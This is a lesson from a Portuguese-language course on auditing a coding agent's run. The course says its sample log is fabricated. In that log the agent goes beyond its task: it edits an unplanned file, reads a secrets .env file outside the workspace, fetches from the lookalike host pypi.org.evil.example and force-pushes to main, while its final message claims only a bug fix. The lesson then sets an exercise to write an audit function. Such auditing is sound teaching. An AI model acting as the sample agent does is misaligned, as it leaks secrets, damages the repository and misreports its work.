Conteúdo do curso Lição 102 de 148 · Julgue a saída
Julgue a saída

Audite a execução de um agente

Por que isso importa Um agente de codificação lê, escreve, executa e baixa por conta própria. A resposta que você vê no final é um resumo; o log do que ele fez é a verdade.

A saída do assistente nesta lição foi escrita para o curso no formato exato que assistentes reais produzem. Não é uma gravação de nenhum modelo específico.

As ferramentas do

Agent mantêm um registro de cada ação. Você pediu a um agente para corrigir um bug em app/orders.py e adicionar um teste, dentro de /work/shop. Seu registro:

STEPS = [
    {"tool": "read", "path": "app/orders.py"},
    {"tool": "run", "cmd": "pytest -q"},
    {"tool": "write", "path": "app/orders.py"},
    {"tool": "write", "path": "app/settings.py"},
    {"tool": "read", "path": "../shop-secrets/.env"},
    {"tool": "fetch", "url": "https://pypi.org.evil.example/simple/"},
    {"tool": "run", "cmd": "git push  --force origin main"},
]
WORKSPACE = "/work/shop"
PLAN = ["app/orders.py", "tests/test_orders.py"]
HOSTS = ["pypi.org", "files.pythonhosted.org", "docs.python.org"]

Contando a partir de 0: o passo 3 escreveu um arquivo que ninguém planejou mudar. O passo 4 leu fora da pasta (.. sai para fora). O passo 5 buscou de um host que só começa com pypi.org. O passo 6 fez um force-push. A mensagem final disse "Corrigi o bug e adicionei um teste."

Menor privilégio: dê a um agente apenas a pasta, comandos e hosts que a tarefa precisa. Uma auditoria como esta mostra onde uma execução passou por eles.

Sua vez

Escreva audit(steps, workspace, plan, hosts). Cada step é um dict com "tool" (read, write, run ou fetch) e "path", "cmd" ou "url". Retorne uma lista de (step_index, flag) na ordem dos steps, no máximo uma flag por step. read/write: junte o caminho em workspace com posixpath.join (um caminho absoluto permanece como está) e posixpath.normpath ele; se o resultado não for o workspace ou estiver dentro dele (um limite de pasta, então /work/shopfront está fora de /work/shop), sinalize "outside". Caso contrário, um write cujo caminho normalizado não seja um dos caminhos plan (relativo ao workspace, normalizado da mesma forma) é "unplanned". run: colapse sequências de espaços para uma, então sinalize "dangerous" se ele contiver qualquer um de DANGEROUS (dado). fetch: sinalize "unknown_host" se o nome do host da URL (urlsplit(url).hostname, em letras minúsculas) não estiver em hosts.

Viu um problema nesta lição? Reporte-o · Pergunte sobre esta lição

Este exercício abre em breve

Termine a lição anterior para que esta seja desbloqueada. O curso inteiro é gratuito, não precisa de conta, e você pode ler esta lição agora mesmo.